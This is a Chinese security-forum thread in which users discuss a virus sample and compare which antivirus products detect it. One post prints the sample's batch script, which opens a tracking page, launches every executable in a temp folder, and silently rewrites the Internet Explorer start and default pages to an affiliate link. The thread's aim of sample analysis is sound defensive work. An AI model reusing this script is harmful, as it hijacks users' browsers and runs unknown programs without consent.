我也不知道是啥病毒

显示全部楼层 · 发表于 2015-4-24 15:17:30

学习使用规则发表于 2015-4-24 15:10
话说你诺顿有没有处理bat这个文件？我卡巴没有显示处理这个，清除完病毒以后bat文件还是存在，用卡 ...

诺顿很少杀批处理，这个批处理运行了一下就是打开一个网页！

显示全部楼层 · 发表于 2015-4-24 15:25:41

胖福发表于 2015-4-24 15:17
诺顿很少杀批处理，这个批处理运行了一下就是打开一个网页！

下载垃圾软件流氓软件？

显示全部楼层 · 发表于 2015-4-24 15:36:18

火绒killed~

显示全部楼层 · 发表于 2015-4-24 15:48:24

又是这种东西。

显示全部楼层 · 发表于 2015-4-24 15:54:37

学习使用规则发表于 2015-4-24 15:25
下载垃圾软件流氓软件？

不知道，网页已经无法打开了！

显示全部楼层 · 发表于 2015-4-24 16:25:33

BD已经采集入库。GData TOTAL PROTECTION KILL

显示全部楼层 · 发表于 2015-4-24 16:30:26

@echo off
start iexplore.exe http://www.你的网址.com/tj.htm?exn
for /f "delims=" %%a in ('dir temp\ /s /b /a-d^|findstr /v /i "Reader_阅读器.BAT"') do (start "" "%%a")
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d "http://www.duba.com/?un_361586_142560" /f >nul 2>nul
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d "http://www.duba.com/?un_361586_142560" /f >nul 2>nul
exit

复制代码

显示全部楼层 · 发表于 2015-4-24 17:00:50

学习使用规则发表于 2015-4-24 15:01
你这是什么杀毒软件？我这边的卡巴斯基没有处理这个BAT文件，我还用文本看了看结果一片空白

BD（比特梵德）

显示全部楼层 · 发表于 2015-4-24 17:38:23

管家报的木马类型好奇葩啊。。。。。

显示全部楼层 · 发表于 2015-4-24 19:20:10

被WD秒了，那几个exe没看，就看了下批处理

[病毒样本] 我也不知道是啥病毒